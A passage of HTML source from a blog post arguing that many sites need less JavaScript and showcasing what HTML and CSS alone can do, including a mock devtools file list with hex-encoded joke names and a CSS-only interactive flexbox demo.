font&gt;&lt;/dev-icon&gt;6920616d20612066&lt;span&gt;-s.p.6f6e7421&lt;/span&gt;.woff2&lt;/td&gt;&lt;td&gt;200&lt;/td&gt;&lt;td&gt;font&lt;/td&gt;&lt;td&gt;31.5 kB&lt;/td&gt;&lt;td&gt;32 ms&lt;/td&gt;&lt;/tr&gt;&#xD;&#xA;    &lt;tr&gt;&lt;td&gt;&lt;dev-icon font&gt;&lt;/dev-icon&gt;686579206d652074&lt;span&gt;-s.p.6f6f2121&lt;/span&gt;.woff2&lt;/td&gt;&lt;td&gt;200&lt;/td&gt;&lt;td&gt;font&lt;/td&gt;&lt;td&gt;28.5 kB&lt;/td&gt;&lt;td&gt;116 ms&lt;/td&gt;&lt;/tr&gt;&#xD;&#xA;    &lt;tr&gt;&lt;td&gt;&lt;dev-icon css&gt;&lt;/dev-icon&gt;77687920646f6573.css&lt;/td&gt;&lt;td&gt;200&lt;/td&gt;&lt;td&gt;stylesheet&lt;/td&gt;&lt;td&gt;253 kB&lt;/td&gt;&lt;td&gt;47 ms&lt;/td&gt;&lt;/tr&gt;&#xD;&#xA;    &lt;tr&gt;&lt;td&gt;&lt;dev-icon js&gt;&lt;/dev-icon&gt;2074686520646566.js&lt;/td&gt;&lt;td&gt;200&lt;/td&gt;&lt;td&gt;script&lt;/td&gt;&lt;td&gt;648 kB&lt;/td&gt;&lt;td&gt;83 ms&lt;/td&gt;&lt;/tr&gt;&#xD;&#xA;    &lt;tr&gt;&lt;td&gt;&lt;dev-icon js&gt;&lt;/dev-icon&gt;61756c74206e6578.js&lt;/td&gt;&lt;td&gt;200&lt;/td&gt;&lt;td&gt;script&lt;/td&gt;&lt;td&gt;166 kB&lt;/td&gt;&lt;td&gt;363 ms&lt;/td&gt;&lt;/tr&gt;&#xD;&#xA;    &lt;tr&gt;&lt;td&gt;&lt;dev-icon js&gt;&lt;/dev-icon&gt;746a732074616b65.js&lt;/td&gt;&lt;td&gt;200&lt;/td&gt;&lt;td&gt;script&lt;/td&gt;&lt;td&gt;83.3 kB&lt;/td&gt;&lt;td&gt;46 ms&lt;/td&gt;&lt;/tr&gt;&#xD;&#xA;    &lt;tr&gt;&lt;td&gt;&lt;dev-icon js&gt;&lt;/dev-icon&gt;turbopack-20757020302e354d.js&lt;/td&gt;&lt;td&gt;200&lt;/td&gt;&lt;td&gt;script&lt;/td&gt;&lt;td&gt;38.0 kB&lt;/td&gt;&lt;td&gt;95 ms&lt;/td&gt;&lt;/tr&gt;&#xD;&#xA;    &lt;tr&gt;&lt;td&gt;&lt;dev-icon js&gt;&lt;/dev-icon&gt;423f207468617427.js&lt;/td&gt;&lt;td&gt;200&lt;/td&gt;&lt;td&gt;script&lt;/td&gt;&lt;td&gt;414 B&lt;/td&gt;&lt;td&gt;34 ms&lt;/td&gt;&lt;/tr&gt;&#xD;&#xA;    &lt;tr&gt;&lt;td&gt;&lt;dev-icon js&gt;&lt;/dev-icon&gt;73206d6f72652074.js&lt;/td&gt;&lt;td&gt;200&lt;/td&gt;&lt;td&gt;script&lt;/td&gt;&lt;td&gt;32.6 kB&lt;/td&gt;&lt;td&gt;49 ms&lt;/td&gt;&lt;/tr&gt;&#xD;&#xA;    &lt;tr&gt;&lt;td&gt;&lt;dev-icon js&gt;&lt;/dev-icon&gt;68616e206d792065.js&lt;/td&gt;&lt;td&gt;200&lt;/td&gt;&lt;td&gt;script&lt;/td&gt;&lt;td&gt;15.1 kB&lt;/td&gt;&lt;td&gt;71 ms&lt;/td&gt;&lt;/tr&gt;&#xD;&#xA;    &lt;tr&gt;&lt;td&gt;&lt;dev-icon js&gt;&lt;/dev-icon&gt;6e7469726520626c.js&lt;/td&gt;&lt;td&gt;200&lt;/td&gt;&lt;td&gt;script&lt;/td&gt;&lt;td&gt;143 kB&lt;/td&gt;&lt;td&gt;48 ms&lt;/td&gt;&lt;/tr&gt;&#xD;&#xA;    &lt;tr&gt;&lt;td&gt;&lt;dev-icon js&gt;&lt;/dev-icon&gt;6f6721 hey there!&lt;/td&gt;&lt;td&gt;200&lt;/td&gt;&lt;td&gt;script&lt;/td&gt;&lt;td&gt;4.1 kB&lt;/td&gt;&lt;td&gt;103 ms&lt;/td&gt;&lt;/tr&gt;&#xD;&#xA;  &lt;/tbody&gt;&#xD;&#xA;&lt;/table&gt;&#xD;&#xA;&lt;/div&gt;&#xD;&#xA;&lt;/art-frame&gt;&lt;/DIV&gt;&#xD;&#xA;&lt;p&gt;The intro paragraph of this post is tongue-in-cheek. It&amp;rsquo;s there to get you to read the rest of the post. I suspect the megabytes of tracking scripts intertwined with bad code is far more likely to be the real culprit behind all the terrible sites out there. Web frameworks have their time and place. And despite my personal distaste for them, I know they are used by many teams to build awesome well-optimized apps.&lt;/p&gt;&#xA;&lt;p&gt;Despite that, I think there&amp;rsquo;s some beauty in leaving it all behind. Not just the frameworks, but JavaScript altogether.&lt;!-- [Figmas](https://www.figma.com/) and [Photopeas](https://www.photopea.com/) need their JavaScript. [Interactive](https://x3c.tf/archive/) [experiences](https://lyra.horse/antonymph/) do[^interactive]. But does your homepage or blog need it?--&gt; Not every site needs JavaScript. Perhaps your &lt;a href=&#34;https://justfuckingusereact.com/&#34;&gt;e-commerce site needs it for its complex carts and data visualization dashboards&lt;/a&gt;, but is it really a necessity for most of what&amp;rsquo;s out there?&lt;/p&gt;&#xA;&lt;p&gt;It&amp;rsquo;s actually &lt;a href=&#34;https://lyra.horse/css-clicker/&#34;&gt;pretty incredible&lt;/a&gt; what HTML and CSS alone can achieve.&lt;/p&gt;&#xA;&lt;!--I don&#39;t think that everyone should switch to a strict CSS-only diet, but I do believe that the average web developer could benefit from knowing just a little more about our cascading little friend.--&gt;&#xD;&#xA;&lt;h2 id=&#34;so-what-do-you-say&#34;&gt;So, what do you say?&lt;/h2&gt;&#xA;&lt;p&gt;My goal with this article is to share my perspectives on the web, as well as introduce many aspects of modern HTML/CSS you may not be familiar with. I&amp;rsquo;m not trying to make you give up JavaScript, I&amp;rsquo;m just trying to show you everything that&amp;rsquo;s possible, leaving it up to you to pick what works best for whatever you&amp;rsquo;re working on.&lt;/p&gt;&#xA;&lt;p&gt;I think there&amp;rsquo;s a lot most web developers don&amp;rsquo;t know about CSS.&lt;/p&gt;&#xA;&lt;p&gt;And I think JS is often used where better alternatives exist.&lt;/p&gt;&#xA;&lt;p&gt;So, let me show you what&amp;rsquo;s out there.&lt;/p&gt;&#xA;&lt;style&gt;&#xD;&#xA;  /*input[type=checkbox]*/&#xD;&#xA;  code-frame, .code-frame, fake-frame {&#xD;&#xA;    width: calc(100% - 4px);&#xD;&#xA;    display: block;&#xD;&#xA;    overflow: auto;&#xD;&#xA;    border: 2px inset;&#xD;&#xA;  }&#xD;&#xA;  code-frame, .code-frame {&#xD;&#xA;    font-family: var(--font-code);&#xD;&#xA;    font-size: 0.8125rem;&#xD;&#xA;    white-space: pre;&#xD;&#xA;    background: #14191F;&#xD;&#xA;    color: #EEE;&#xD;&#xA;    border-color: #444;&#xD;&#xA;  }&#xD;&#xA;  fake-frame {&#xD;&#xA;    background: #FFF;&#xD;&#xA;    /*border-color: initial;*/&#xD;&#xA;    border-color: #EEE;&#xD;&#xA;  }&#xD;&#xA;  code-compare {&#xD;&#xA;    display: flex;&#xD;&#xA;    width: calc(100% - 4px);&#xD;&#xA;    height: fit-content;&#xD;&#xA;    overflow: clip;&#xD;&#xA;    border: 2px inset #999;&#xD;&#xA;    @media (width &lt; 768px) {&#xD;&#xA;      flex-direction: column;&#xD;&#xA;    }&#xD;&#xA;    &amp;[vertical] {&#xD;&#xA;      flex-direction: column;&#xD;&#xA;    }&#xD;&#xA;  }&#xD;&#xA;  no-wrap {&#xD;&#xA;    white-space: nowrap;&#xD;&#xA;  }&#xD;&#xA;  .safari {&#xD;&#xA;    /* CSS-only Safari Detection (stackoverflow.com/a/74381245/2251833/) */&#xD;&#xA;    @supports (not (font: -apple-system-body)) and (-webkit-appearance: none) {&#xD;&#xA;      display: none;&#xD;&#xA;    }&#xD;&#xA;  }&#xD;&#xA;  :root {&#xD;&#xA;    --inter-stack: Inter, -apple-system, BlinkMacSystemFont, &#34;Open Sans&#34;, &#34;Noto Sans&#34;, &#34;Roboto&#34;, system-ui, sans-serif;&#xD;&#xA;  }&#xD;&#xA;&#xD;&#xA;  @media (width &lt; 768px) {&#xD;&#xA;    .over768 { display: none; visibility: none; }&#xD;&#xA;  }&#xD;&#xA;  @media (width &gt;= 768px) {&#xD;&#xA;    .under768 { display: none; visibility: none; }&#xD;&#xA;  }&#xD;&#xA;&lt;/style&gt;&#xD;&#xA;&lt;h2 id=&#34;but-css-sucks&#34;&gt;&amp;ldquo;But CSS sucks&amp;rdquo;&lt;/h2&gt;&#xA;&lt;p&gt;I believe a lot of the negativity towards CSS stems from not really knowing how to use it. Many developers kind of just skip learning the CSS fundamentals in favor of the more interesting Java- and TypeScript, and then go on to complain about a styling language they don&amp;rsquo;t understand.&lt;/p&gt;&#xA;&lt;p&gt;I suspect this is due to many treating CSS as this silly third wheel for adding borders and box-shadows to a webapp. &lt;!--rephrase--&gt;It&amp;rsquo;s undervalued and often compared to glorified crayons, rather than what it really is - a powerful domain-specific programming language.&lt;/p&gt;&#xA;&lt;p&gt;It&amp;rsquo;s telling when to this day the only CSS joke in the webdev circles is centering a div.&lt;/p&gt;&#xA;&lt;!-- it was fun recreating all of the flexbox icons in css haha --&gt;&#xD;&#xA;&lt;DIV&gt;&lt;code-compare id=&#34;center-gadget&#34; aria-label=&#34;a centered div and its code&#34; role=&#34;figure&#34;&gt;&lt;fake-frame id=&#34;demo-center-gadget&#34; style=&#34;min-height:9em&#34; &gt;&#xD;&#xA;&lt;div&gt;i am a div&lt;/div&gt;&#xD;&#xA;&lt;/fake-frame&gt;&#xD;&#xA;&lt;div id=&#34;center-gadget-devtools&#34; style=&#34;min-height:12em&#34;&gt;&lt;div&gt;body {&lt;/div&gt;&lt;div class=&#34;line&#34;&gt;  &lt;span style=&#34;color:#5CD5FB&#34;&gt;display&lt;/span&gt;: flex;&lt;label class=&#34;flex-icon&#34; aria-label=&#34;Toggle Flex panel&#34; aria-hidden=&#34;true&#34;&gt;&lt;input type=checkbox id=&#34;flex-panel-visible&#34; checked&gt;&lt;span&gt;🁣 🁢 🁣&lt;br&gt;🁢 🁣 🁢&lt;/span&gt;&lt;/label&gt;&lt;flex-popup aria-hidden=&#34;true&#34;&gt;&#xD;&#xA;&lt;div&gt;&lt;span style=&#34;color:#5CD5FB&#34;&gt;flex-direction&lt;/span&gt;: &lt;flex-res dg-fd&gt;row&lt;/flex-res&gt;&lt;flex-res dg-fd&gt;column&lt;/flex-res&gt;&lt;flex-res dg-fd&gt;row-reverse&lt;/flex-res&gt;&lt;flex-res dg-fd&gt;column-reverse&lt;/flex-res&gt;&lt;flex-res-default dg-fd&gt;row&lt;/flex-res-default&gt;&lt;/div&gt;&#xD;&#xA;&lt;div class=&#34;buttons&#34;&gt;&#xD;&#xA;&lt;label aria-label=&#34;row&#34; style=&#34;line-height:0;flex-wrap:wrap;&#34;&gt;&lt;flex-icon norot&gt;&lt;input type=radio name=&#34;dg-fd&#34;&gt;&lt;div style=&#34;border: 1px solid;width:4px;height:6px;margin:1px;background:none&#34;&gt;&lt;/div&gt;&lt;div style=&#34;border: 1px solid;width:4px;height:6px;margin:1px&#34;&gt;&lt;/div&gt;&lt;div style=&#34;margin-top: -8px&#34; aria-hidden=&#34;true&#34;&gt;⟶&lt;/div&gt;&lt;/flex-icon&gt;&lt;/label&gt;&#xD;&#xA;&lt;label aria-label=&#34;column&#34; style=&#34;line-height:0;flex-wrap:wrap;writing-mode: vertical-lr;&#34;&gt;&lt;flex-icon norot&gt;&lt;input type=radio name=&#34;dg-fd&#34;&gt;&lt;div style=&#34;border: 1px solid;width:6px;height:4px;margin:1px;background:none&#34;&gt;&lt;/div&gt;&lt;div style=&#34;border: 1px solid;width:6px;height:4px;margin:1px&#34;&gt;&lt;/div&gt;&lt;div style=&#34;margin-right:1px&#34; aria-hidden=&#34;true&#34;&gt;⟶&lt;/div&gt;&lt;/flex-icon&gt;&lt;/label&gt;&#xD;&#xA;&lt;label aria-label=&#34;row-reverse&#34; style=&#34;line-height:0;flex-wrap:wrap;&#34;&gt;&lt;flex-icon norot&gt;&lt;input type=radio name=&#34;dg-fd&#34;&gt;&lt;div style=&#34;border: 1px solid;width:4px;height:6px;margin:1px&#34;&gt;&lt;/div&gt;&lt;div style=&#34;border: 1px solid;width:4px;height:6px;margin:1px;background:none&#34;&gt;&lt;/div&gt;&lt;div style=&#34;margin-top: -8px&#34; aria-hidden=&#34;true&#34;&gt;⟵&lt;/div&gt;&lt;/flex-icon&gt;&lt;/label&gt;&#xD;&#xA;&lt;label aria-label=&#34;column-reverse&#34; style=&#34;line-height:0;flex-wrap:wrap;writing-mode: vertical-lr;&#34;&gt;&lt;flex-icon norot&gt;&lt;input type=radio name=&#34;dg-fd&#34;&gt;&lt;div style=&#34;border: 1px solid;width:6px;height:4px;margin:1px&#34;&gt;&lt;/div&gt;&lt;div style=&#34;border: 1px solid;width:6px;height:4px;margin:1px;background:none&#34;&gt;&lt;/div&gt;&lt;div style=&#34;margin-right:1px&#34; aria-hidden=&#34;true&#34;&gt;⟵&lt;/div&gt;&lt;/flex-icon&gt;&lt;/label&gt;&#xD;&#xA;&lt;/div&gt;&#xD;&#xA;&lt;div&gt;&lt;span style=&#34;color:#5CD5FB&#34;&gt;flex-wrap&lt;/span&gt;: &lt;flex-res dg-fw&gt;nowrap&lt;/flex-res&gt;&lt;flex-res dg-fw&gt;wrap&lt;/flex-res&gt;&lt;flex-res-default dg-fw&gt;nowrap&lt;/flex-res-default&gt;&lt;/div&gt;&#xD;&#xA;&lt;div class=&#34;buttons&#34;&gt;&#xD;&#xA;&lt;label aria-label=&#34;nowrap&#34; style=&#34;letter-spacing:-2px;font-kerning:none;font:8px monospace&#34;&gt;&lt;flex-icon&gt;&lt;input type=radio name=&#34;dg-fw&#34;&gt;&lt;span aria-hidden=&#34;true&#34;&gt;🁣 🁢 🁣 &lt;/span&gt;&lt;/flex-icon&gt;&lt;/label&gt;&#xD;&#xA;&lt;label aria-label=&#34;wrap&#34; style=&#34;letter-spacing:-2px;font-kerning:none;font:8px monospace&#34;&gt;&lt;flex-icon&gt;&lt;input type=radio name=&#34;dg-fw&#34;&gt;&lt;span aria-hidden=&#34;true&#34;&gt;🁣 🁢 🁣 &lt;br&gt;🁢 🁣 🁢 &lt;/span&gt;&lt;/flex-icon&gt;&lt;/label&gt;&#xD;&#xA;&lt;/div&gt;&#xD;&#xA;&lt;div&gt;&lt;span style=&#34;color:#5CD5FB&#34;&gt;align-content&lt;/span&gt;: &lt;flex-res dg-ac&gt;center&lt;/flex-res&gt;&lt;flex-res dg-ac&gt;flex-start&lt;/flex-res&gt;&lt;flex-res dg-ac&gt;flex-end&lt;/flex-res&gt;&lt;flex-res dg-ac&gt;space-around&lt;/flex-res&gt;&lt;flex-res dg-ac&gt;space-between&lt;/flex-res&gt;&lt;flex-res dg-ac&gt;stretch&lt;/flex-res&gt;&lt;flex-res-default dg-ac&gt;normal&lt;/flex-res-default&gt;&lt;/div&gt;&#xD;&#xA;&lt;div class=&#34;buttons&#34;&gt;&#xD;&#xA;&lt;label aria-label=&#34;center&#34; column style=&#34;gap:2px&#34;&gt;&lt;flex-icon&gt;&lt;input type=radio name=&#34;dg-ac&#34;&gt;&lt;div style=&#34;width:8px;height:3px&#34;&gt;&lt;/div&gt;&lt;div style=&#34;width:16px;height:2px;opacity:0.5&#34;&gt;&lt;/div&gt;&lt;div style=&#34;width:8px;height:3px&#34;&gt;&lt;/div&gt;&lt;/flex-icon&gt;&lt;/label&gt;&#xD;&#xA;&lt;label aria-label=&#34;flex-start&#34; column style=&#34;gap:2px&#34;&gt;&lt;flex-icon rev&gt;&lt;input type=radio name=&#34;dg-ac&#34;&gt;&lt;div style=&#34;width:16px;height:2px;opacity:0.5&#34;&gt;&lt;/div&gt;&lt;div style=&#34;width:8px;height:3px&#34;&gt;&lt;/div&gt;&lt;div style=&#34;width:8px;height:3px;margin:0 0 6px;&#34;&gt;&lt;/div&gt;&lt;/flex-icon&gt;&lt;/label&gt;&#xD;&#xA;&lt;label aria-label=&#34;flex-end&#34; column rev style=&#34;gap:2px&#34;&gt;&lt;flex-icon rev&gt;&lt;input type=radio name=&#34;dg-ac&#34;&gt;&lt;div style=&#34;width:16px;height:2px;opacity:0.5&#34;&gt;&lt;/div&gt;&lt;div style=&#34;width:8px;height:3px&#34;&gt;&lt;/div&gt;&lt;div style=&#34;width:8px;height:3px;margin-top:6px;&#34;&gt;&lt;/div&gt;&lt;/flex-icon&gt;&lt;/label&gt;&#xD;&#xA;&lt;label aria-label=&#34;space-around&#34; column style=&#34;gap:2px&#34;&gt;&lt;flex-icon&gt;&lt;input type=radio name=&#34;dg-ac&#34;&gt;&lt;div style=&#34;width:16px;height:2px;opacity:0.5&#34;&gt;&lt;/div&gt;&lt;div style=&#34;width:8px;height:3px&#34;&gt;&lt;/div&gt;&lt;div style=&#34;width:8px;height:3px;margin-top:2px;&#34;&gt;&lt;/div&gt;&lt;div style=&#34;width:16px;height:2px;opacity:0.5&#34;&gt;&lt;/div&gt;&lt;/flex-icon&gt;&lt;/label&gt;&#xD;&#xA;&lt;label aria-label=&#34;space-between&#34; column style=&#34;justify-content: space-between;&#34;&gt;&lt;flex-icon&gt;&lt;input type=radio name=&#34;dg-ac&#34;&gt;&lt;div style=&#34;width:16px;height:2px;opacity:0.5;margin-top:2px&#34;&gt;&lt;/div&gt;&lt;div style=&#34;width:8px;height:3px&#34;&gt;&lt;/div&gt;&lt;div style=&#34;width:8px;height:3px;margin-top:8px&#34;&gt;&lt;/div&gt;&lt;div style=&#34;width:16px;height:2px;opacity:0.5;margin:0 0 2px&#34;&gt;&lt;/div&gt;&lt;/flex-icon&gt;&lt;/label&gt;&#xD;&#xA;&lt;label aria-label=&#34;stretch&#34; column style=&#34;justify-content: space-between;&#34;&gt;&lt;flex-icon&gt;&lt;input type=radio name=&#34;dg-ac&#34;&gt;&lt;div style=&#34;width:16px;height:2px;opacity:0.5;margin-top:2px&#34;&gt;&lt;/div&gt;&lt;div style=&#34;width:8px;height:6px&#34;&gt;&lt;/div&gt;&lt;div style=&#34;width:8px;height:6px;margin-top:2px&#34;&gt;&lt;/div&gt;&lt;div style=&#34;width:16px;height:2px;opacity:0.5;margin:0 0 2px&#34;&gt;&lt;/div&gt;&lt;/flex-icon&gt;&lt;/label&gt;&#xD;&#xA;&lt;/div&gt;&#xD;&#xA;&lt;div&gt;&lt;span style=&#34;color:#5CD5FB&#34;&gt;justify-content&lt;/span&gt;: &lt;flex-res dg-jc&gt;center&lt;/flex-res&gt;&lt;flex-res dg-jc&gt;flex-start&lt;/flex-res&gt;&lt;flex-res dg-jc&gt;flex-end&lt;/flex-res&gt;&lt;flex-res dg-jc&gt;space-around&lt;/flex-res&gt;&lt;flex-res dg-jc&gt;space-between&lt;/flex-res&gt;&lt;flex-res dg-jc&gt;space-evenly&lt;/flex-res&gt;&lt;flex-res-default dg-jc&gt;normal&lt;/flex-res-default&gt;&lt;/div&gt;&#xD;&#xA;&lt;div class=&#34;buttons&#34;&gt;&#xD;&#xA;&lt;label aria-label=&#34;center&#34; style=&#34;gap:2px&#34;&gt;&lt;flex-icon&gt;&lt;input type=radio name=&#34;dg-jc&#34; checked&gt;&lt;div style=&#34;height:8px;width:3px&#34;&gt;&lt;/div&gt;&lt;div style=&#34;height:16px;width:2px;opacity:0.5&#34;&gt;&lt;/div&gt;&lt;div style=&#34;height:8px;width:3px&#34;&gt;&lt;/div&gt;&lt;/flex-icon&gt;&lt;/label&gt;&#xD;&#xA;&lt;label aria-label=&#34;flex-start&#34; style=&#34;gap:2px&#34;&gt;&lt;flex-icon flip&gt;&lt;input type=radio name=&#34;dg-jc&#34;&gt;&lt;div style=&#34;height:16px;width:2px;opacity:0.5&#34;&gt;&lt;/div&gt;&lt;div style=&#34;height:8px;width:3px&#34;&gt;&lt;/div&gt;&lt;div style=&#34;height:8px;width:3px;margin-right: 6px;&#34;&gt;&lt;/div&gt;&lt;/flex-icon&gt;&lt;/label&gt;&#xD;&#xA;&lt;label aria-label=&#34;flex-end&#34; rev style=&#34;gap:2px&#34;&gt;&lt;flex-icon flip&gt;&lt;input type=radio name=&#34;dg-jc&#34;&gt;&lt;div style=&#34;height:16px;width:2px;opacity:0.5&#34;&gt;&lt;/div&gt;&lt;div style=&#34;height:8px;width:3px&#34;&gt;&lt;/div&gt;&lt;div style=&#34;height:8px;width:3px;margin-left:6px;&#34;&gt;&lt;/div&gt;&lt;/flex-icon&gt;&lt;/label&gt;&#xD;&#xA;&lt;label aria-label=&#34;space-around&#34; style=&#34;justify-content: space-between;&#34;&gt;&lt;flex-icon&gt;&lt;input type=radio name=&#34;dg-jc&#34;&gt;&lt;div style=&#34;height:16px;width:2px;opacity:0.5;margin-left:2px&#34;&gt;&lt;/div&gt;&lt;div style=&#34;height:8px;width:3px&#34;&gt;&lt;/div&gt;&lt;div style=&#34;height:8px;width:3px;margin-left:9px&#34;&gt;&lt;/div&gt;&lt;div style=&#34;height:16px;width:2px;opacity:0.5;margin-right: 2px&#34;&gt;&lt;/div&gt;&lt;/flex-icon&gt;&lt;/label&gt;&#xD;&#xA;&lt;label aria-label=&#34;space-between&#34; style=&#34;gap:2px&#34;&gt;&lt;flex-icon&gt;&lt;input type=radio name=&#34;dg-jc&#34;&gt;&lt;div style=&#34;height:16px;width:2px;opacity:0.5&#34;&gt;&lt;/div&gt;&lt;div style=&#34;height:8px;width:3px&#34;&gt;&lt;/div&gt;&lt;div style=&#34;height:8px;width:3px;margin-left:2px&#34;&gt;&lt;/div&gt;&lt;div style=&#34;height:16px;width:2px;opacity:0.5&#34;&gt;&lt;/div&gt;&lt;/flex-icon&gt;&lt;/label&gt;&#xD;&#xA;&lt;label aria-label=&#34;space-evenly&#34; style=&#34;gap:2px&#34;&gt;&lt;flex-icon&gt;&lt;input type=radio name=&#34;dg-jc&#34;&gt;&lt;div style=&#34;height:16px;width:2px;opacity:0.5;margin-right:1px&#34;&gt;&lt;/div&gt;&lt;div style=&#34;height:8px;width:3px&#34;&gt;&lt;/div&gt;&lt;div style=&#34;height:8px;width:3px;&#34;&gt;&lt;/div&gt;&lt;div style=&#34;margin-left:1px;height:16px;width:2px;opacity:0.5&#34;&gt;&lt;/div&gt;&lt;/flex-icon&gt;&lt;/label&gt;&#xD;&#xA;&lt;/div&gt;&#xD;&#xA;&lt;div&gt;&lt;span style=&#34;color:#5CD5FB&#34;&gt;align-items&lt;/span&gt;: &lt;flex-res dg-ai&gt;center&lt;/flex-res&gt;&lt;flex-res dg-ai&gt;flex-start&lt;/flex-res&gt;&lt;flex-res dg-ai&gt;flex-end&lt;/flex-res&gt;&lt;flex-res dg-ai&gt;stretch&lt;/flex-res&gt;&lt;flex-res dg-ai&gt;baseline&lt;/flex-res&gt;&lt;flex-res-default dg-ai&gt;normal&lt;/flex-res-default&gt;&lt;/div&gt;&#xD;&#xA;&lt;div class=&#34;buttons&#34;&gt;&#xD;&#xA;&lt;label aria-label=&#34;center&#34; style=&#34;gap:2px&#34;&gt;&lt;flex-icon rev&gt;&lt;input type=radio name=&#34;dg-ai&#34; checked&gt;&lt;div style=&#34;background:none;display:flex;gap:3px;&#xD;&#xA;    align-items:center;&#34;&gt;&lt;div style=&#34;height:14px;width:3px&#34;&gt;&lt;/div&gt;&lt;div style=&#34;height:8px;width:3px&#34;&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style=&#34;position:absolute;width:16px;height:2px;opacity:0.5&#34;&gt;&lt;/div&gt;&lt;/flex-icon&gt;&lt;/label&gt;&#xD;&#xA;&lt;label aria-label=&#34;flex-start&#34; column style=&#34;gap:1px&#34;&gt;&lt;flex-icon&gt;&lt;input type=radio name=&#34;dg-ai&#34;&gt;&lt;div style=&#34;width:16px;height:2px;opacity:0.5&#34;&gt;&lt;/div&gt;&lt;div style=&#34;margin:0 0 1px;background:none;display:flex;gap:2px&#34;&gt;&lt;div style=&#34;height:11px;width:3px&#34;&gt;&lt;/div&gt;&lt;div style=&#34;height:7px;width:3px&#34;&gt;&lt;/div&gt;&lt;/div&gt;&lt;/flex-icon&gt;&lt;/label&gt;&#xD;&#xA;&lt;label aria-label=&#34;flex-end&#34; column style=&#34;gap:1px&#34;&gt;&lt;flex-icon&gt;&lt;input type=radio name=&#34;dg-ai&#34;&gt;&lt;div style=&#34;background:none;display:flex;gap:2px;align-items:flex-end;margin-top:3px&#34;&gt;&lt;div style=&#34;height:11px;width:3px&#34;&gt;&lt;/div&gt;&lt;div style=&#34;height:7px;width:3px&#34;&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style=&#34;width:16px;height:2px;opacity:0.5&#34;&gt;&lt;/div&gt;&lt;/flex-icon&gt;&lt;/label&gt;&#xD;&#xA;&lt;label aria-label=&#34;stretch&#34; column style=&#34;gap:1px&#34;&gt;&lt;flex-icon&gt;&lt;input type=radio name=&#34;dg-ai&#34;&gt;&lt;div style=&#34;width:16px;height:2px;opacity:0.5;margin-top:1px&#34;&gt;&lt;/div&gt;&lt;div style=&#34;background:none;display:flex;gap:2px&#34;&gt;&lt;div style=&#34;height:10px;width:3px&#34;&gt;&lt;/div&gt;&lt;div style=&#34;height:10px;width:3px&#34;&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style=&#34;width:16px;height:2px;opacity:0.5&#34;&gt;&lt;/div&gt;&lt;/flex-icon&gt;&lt;/label&gt;&#xD;&#xA;&lt;label aria-label=&#34;baseline&#34; column style=&#34;gap:2px&#34;&gt;&lt;flex-icon norot&gt;&lt;input type=radio name=&#34;dg-ai&#34;&gt;&lt;span style=&#34;margin:0 0 -2px;font-weight:500;&#34;&gt;A&lt;/span&gt;&lt;div style=&#34;width:16px;height:2px;opacity:0.5;margin:0 0 1px&#34;&gt;&lt;/div&gt;&lt;/flex-icon&gt;&lt;/label&gt;&#xD;&#xA;&lt;/div&gt;&#xD;&#xA;&lt;/flex-popup&gt;&lt;/div&gt;&lt;!--&#xD;&#xA;--&gt;&lt;div class=&#34;line&#34;&gt;  &lt;span style=&#34;color:#5CD5FB&#34;&gt;flex-direction&lt;/span&gt;: &lt;flex-res dg-fd&gt;row&lt;/flex-res&gt;&lt;flex-res dg-fd&gt;column&lt;/flex-res&gt;&lt;flex-res dg-fd&gt;row-reverse&lt;/flex-res&gt;&lt;flex-res dg-fd&gt;column-reverse&lt;/flex-res&gt;;&lt;/div&gt;&lt;!--&#xD;&#xA;--&gt;&lt;div class=&#34;line&#34;&gt;  &lt;span style=&#34;color:#5CD5FB&#34;&gt;flex-wrap&lt;/span&gt;: &lt;flex-res dg-fw&gt;nowrap&lt;/flex-res&gt;&lt;flex-res dg-fw&gt;wrap&lt;/flex-res&gt;;&lt;/div&gt;&lt;!--&#xD;&#xA;--&gt;&lt;div class=&#34;line&#34;&gt;  &lt;span style=&#34;color:#5CD5FB&#34;&gt;align-content&lt;/span&gt;: &lt;flex-res dg-ac&gt;center&lt;/flex-res&gt;&lt;flex-res dg-ac&gt;flex-start&lt;/flex-res&gt;&lt;flex-res dg-ac&gt;flex-end&lt;/flex-res&gt;&lt;flex-res dg-ac&gt;space-around&lt;/flex-res&gt;&lt;flex-res dg-ac&gt;space-between&lt;/flex-res&gt;&lt;flex-res dg-ac&gt;stretch&lt;/flex-res&gt;;&lt;/div&gt;&lt;!--&#xD;&#xA;--&gt;&lt;div class=&#34;line&#34;&gt;  &lt;span style=&#34;color:#5CD5FB&#34;&gt;justify-content&lt;/span&gt;: &lt;flex-res dg-jc&gt;center&lt;/flex-res&gt;&lt;flex-res dg-jc&gt;flex-start&lt;/flex-res&gt;&lt;flex-res dg-jc&gt;flex-end&lt;/flex-res&gt;&lt;flex-res dg-jc&gt;space-around&lt;/flex-res&gt;&lt;flex-res dg-jc&gt;space-between&lt;/flex-res&gt;&lt;flex-res dg-jc&gt;space-evenly&lt;/flex-res&gt;;&lt;/div&gt;&lt;!--&#xD;&#xA;--&gt;&lt;div class=&#34;line&#34;&gt;  &lt;span style=&#34;color:#5CD5FB&#34;&gt;align-items&lt;/span&gt;: &lt;flex-res dg-ai&gt;center&lt;/flex-res&gt;&lt;flex-res dg-ai&gt;flex-start&lt;/flex-res&gt;&lt;flex-res dg-ai&gt;flex-end&lt;/flex-res&gt;&lt;flex-res dg-ai&gt;stretch&lt;/flex-res&gt;&lt;flex-res dg-ai&gt;baseline&lt;/flex-res&gt;;&lt;/div&gt;&lt;!--&#xD;&#xA;--&gt;&lt;div&gt;}&lt;/div&gt;&lt;/div&gt;&#xD;&#xA;&lt;/code-compare&gt;&lt;/DIV&gt;&#xD;&#xA;&lt;style&gt;&#xD;&#xA;@property --tooltip-fade {&#xD;&#xA;  syntax: &#39;&lt;percentage&gt;&#39;;&#xD;&#xA;  initial-value: 0%;&#xD;&#xA;  inherits: true;&#xD;&#xA;}&#xD;&#xA;#center-gadget-devtools {&#xD;&#xA;  width: calc(100% - 16px - 2px);&#xD;&#xA;  background: #282828;&#xD;&#xA;  color: #E3E3E3;&#xD;&#xA;  white-space: pre;&#xD;&#xA;  line-height: normal;&#xD;&#xA;  font: 12px monospace;&#xD;&#xA;  padding: 8px;&#xD;&#xA;  .line {&#xD;&#xA;    &amp;:not(:has(flex-popup:hover)):hover {&#xD;&#xA;      background: #3D3D3D;&#xD;&#xA;    }&#xD;&#xA;  }&#xD;&#xA;  .flex-icon {&#xD;&#xA;    -webkit-user-select: none;&#xD;&#xA;    user-select: none;&#xD;&#xA;    cursor: default;&#xD;&#xA;    margin: -10px 